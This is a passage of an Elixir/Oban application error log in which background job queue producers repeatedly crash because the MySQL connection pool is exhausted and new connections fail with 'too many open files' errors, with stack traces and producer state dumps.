{:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209097>, refresh_timer: #Reference<0.2525715032.1077411843.209076>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:41:56.239428Z], limit: 5, uuid: "00415b29-17a1-48f0-a713-2a9db5f85942", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:56.239433Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209100>, refresh_timer: #Reference<0.2525715032.1121189889.86477>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:41:56.240151Z], limit: 10, uuid: "92146d65-fd35-49cf-833a-eeb6d638d7fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:56.240157Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209099>, refresh_timer: #Reference<0.2525715032.1121189889.86496>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:07.939000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:13.586000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:14.568000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:15.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:15.997000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:17.782000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:18.873000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:42:07.239525Z], limit: 50, uuid: "fc3b73a9-b92b-4dbd-8ca4-d52e71cf6813", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:07.239531Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209498>, refresh_timer: #Reference<0.2525715032.1068236804.233165>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:42:07.240879Z], limit: 10, uuid: "57037cf9-2cfb-4626-aebe-a65266e5ef8b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:07.240884Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209495>, refresh_timer: #Reference<0.2525715032.1077411843.209470>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:42:07.239705Z], limit: 20, uuid: "317ac622-650e-4987-b95c-a4f07229939d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:07.239710Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.233191>, refresh_timer: #Reference<0.2525715032.1068236804.233174>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:42:07.241158Z], limit: 5, uuid: "a67a5c96-fd18-48e5-988b-490841504ee0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:07.241164Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209496>, refresh_timer: #Reference<0.2525715032.1077411843.209473>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:42:07.240630Z], limit: 3, uuid: "6814a9f7-bc57-4a21-9b3f-f2dba827324e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:07.240636Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209497>, refresh_timer: #Reference<0.2525715032.1077411843.209464>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:42:07.238954Z], limit: 5, uuid: "d31ace3e-901a-4ca5-8799-9e8286738556", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:07.238961Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209442>, refresh_timer: #Reference<0.2525715032.1077411843.209441>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:21.301000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:24.273000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:27.295000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:29.160000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
